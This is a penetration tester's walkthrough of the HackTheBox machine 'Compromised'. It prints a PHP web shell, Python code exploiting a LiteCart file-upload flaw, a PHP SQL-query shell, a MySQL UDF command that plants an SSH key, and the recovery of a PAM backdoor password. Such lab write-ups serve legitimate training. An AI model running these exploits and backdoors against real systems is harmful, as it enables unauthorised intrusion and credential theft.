Header Image

Roman Hergenreder

IT-Security Consultant / Penetration Tester

[machine avatar]

HackTheBox Compromised - Writeup

OS: Linux
Release Date: 09/12/2020 19:00 PM
Points: 40
Difficulty: Medium
Last modified: 05/16/2024 17:09 PM + Give Respect

Starting with a nmap scan, we see the usual two ports open, as on many other machines:

$ nmap -A -T4 -p-
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
| 256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_ 256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: FD8AFB6FFE392F9ED98CC0B1B37B9A5D
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was
The website shows a web shop selling rubber ducks, we quickly find a admin login page on /shop/admin, where credentials are required. Performing a gobuster scan, we find another directory called backup:
$ gobuster dir -u -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -b 404, 403
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
2020/09/14 14:39:47 Starting gobuster
/backup (Status: 301)
/shop (Status: 301)
/. (Status: 302)
2020/09/14 14:39:53 Finished

The backup directory holds a tar archive with a backup of the web shop. Unpacking it and analysing the files, we find two things:

$ wget && tar xvf a.tar.gz
$ cat shop/.sh.php
<?php system($_REQUEST['cmd']); ?>
$ fgrep -i -R password shop/
shop/includes/library/lib_user.inc.php: //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $username . " Passwd: " . $password);
The backup firstly contains a php backdoor, which we unfortunately can't find on the live website, and also seems to have a logfile with credentials. We can retrieve the credentials logged using curl:
$ curl
User: admin Passwd: theNextGenSt0r3!~
We can use this password to login on the admin panel and we notice, the software being used is LiteCart v2.1.2. Doing some research, we find a file-upload vulnerability and a poc script. When trying to upload any kind of php reverse shell or command execution, we can prove, that the script is being uploaded (http status code: 200), but it's not executed as expected. We adapt our payload a bit and perform some diagnosis (I migrated the script to python3):
def upload_file(session, url, token, name, content):

    files = {
        'vqmod': (name, content, "application/xml"),
        'token': token,
        'upload': (None,"Upload")

    res = session.post(url + "?app=vqmods&doc=vqmods", files=files)
    if res.status_code != 200:
        print("[-] Error uploading file")
        return False

    return url + ("" if url.endswith("/") else "/") + "../vqmod/xml/" + name
session = requests.Session()
token = login(session, url, user, password)
payload = "<?php echo file_get_contents('/etc/php/7.2/apache2/php.ini'); echo phpversion();"
file_url = upload_file(session, url, token, "debug.php", payload)
In the leaked php config file we can see, that alot of functions are disabled using disable_functions. But the leaked php version 7.2.24-0ubuntu0.18.04.6 seems to be vulnerable to a bypass we found online. We adapt this script to execute commands passed in GET parameters and upload the file:

function pwn($cmd) {
payload = open('payload.php','r').read()
file_url = upload_file(session, url, token, "shell.php", payload)
print(file_url + '?c=')
We now have a limited command shell, upgrading to a reverse shell unfortunately doesn't work, as reverse connections seem to be blocked by the firewall. We also don't have permissions to write a public ssh-key. But examining the /etc/passwd file, we can see, that the user mysql has a shell, which is very unusual:
$ curl --data-urlencode 'c=grep mysql /etc/passwd'
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash

We can also find the mysql connection config in either the backup files or the live website (/shop/includes/config.inc.php). We need them for the next enumeration step: analyzing the mysql server. For this, we upload another php file, which will execute sql queries easily:

$link = mysqli_connect("localhost", "root", "changethis", "mysql");
if (!$link) {
  die("Error connecting to mysql: " . mysqli_connect_error() . " (" . mysqli_connect_errno() . ")");

$res = mysqli_query($link, $_REQUEST["query"]);
if (!$res) {
  die("Error executing query: " . mysqli_error($link));

while ($row = $res->fetch_assoc()) {


Now running some queries we can find some kind of backdoor:

$ curl --data-urlencode 'query=select * from mysql.func'
array(4) {
string(8) "exec_cmd"
string(1) "0"
string(11) "libmysql.so"
string(8) "function"
It seems that we can execute functions as mysql user by issuing the SELECT exec_cmd(str) query. We are now able to write a public key, but note, that we have to upload the authorized_keys file with the previous RCE first, so that we can copy it via the mysql backdoor:
$ curl --data-urlencode 'query=SELECT exec_cmd("mkdir .ssh; cp /var/www/html/shop/vqmod/xml/authorized_keys .ssh/authorized_keys")' --output -
$ ssh -i ~/.ssh/id_rsa_htb.pub mysql@
Last login: Thu Sep 3 11:52:44 2020 from
mysql@compromised:~$ file strace-log.dat
strace-log.dat: ASCII text, with very long lines
mysql@compromised:~$ grep password strace-log.dat
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0

The found password can be used to log in to user sysadmin, and we are able to read the user flag:

mysql@compromised:~$ su sysadmin
Password: 3*NLJE32I$Fe
sysadmin@compromised:~$ cat ~/user.txt

For the root part, we first try to find some recently modified files using the find command. The needed file is well hidden, so I only focus on the file

$ find /lib -type f -exec stat --format '%Y :%y %n' "{}" \; 2>/dev/null | sort -nr | cut -d: -f2- | head
2020-08-31 03:25:57.607990349 +0000 /lib/x86_64-linux-gnu/security/pam_unix.so
2020-08-31 03:25:17.455991685 +0000 /lib/x86_64-linux-gnu/security/.pam_unix.so
We find an unusual duplicate file of pam_unix.so, which really seems to be exactly the same, when looking at the md5sums. We download the file using scp and inspect it with Ghidra. Doing some short analysis, we find something strange in the generated C-Code of pam_sm_authenticate:
char backdoor [15];
backdoor._0_8_ = 0x4533557e656b6c7a;
backdoor._8_7_ = 0x2d326d3238766e;
iVar2 = strcmp((char *)p,backdoor);
if (iVar2 != 0) {
  iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);

It seems, that we have found another backdoor, which allows access via a hardcoded password to any user. Decoding the hex-strings and reverse both of them, as the binary is little-endian, we get the following password, which we can use to log in to root and grab the flag:

$ python3 -c 'import binascii; print(binascii.unhexlify("4533557e656b6c7a")[::-1] + binascii.unhexlify("2d326d3238766e")[::-1])'
sysadmin@compromised:~$ su
Password: zlke~U3Env82m2-
root@compromised:~$ cat /root/root.txt

As the machine name already tells us, it showed a lot of possible backdoors, which includes:

  • php backdoor using system()
  • mysql backdoor using User-Defined Functions (UDF)
  • pam backdoor using a modified shared object file (.so)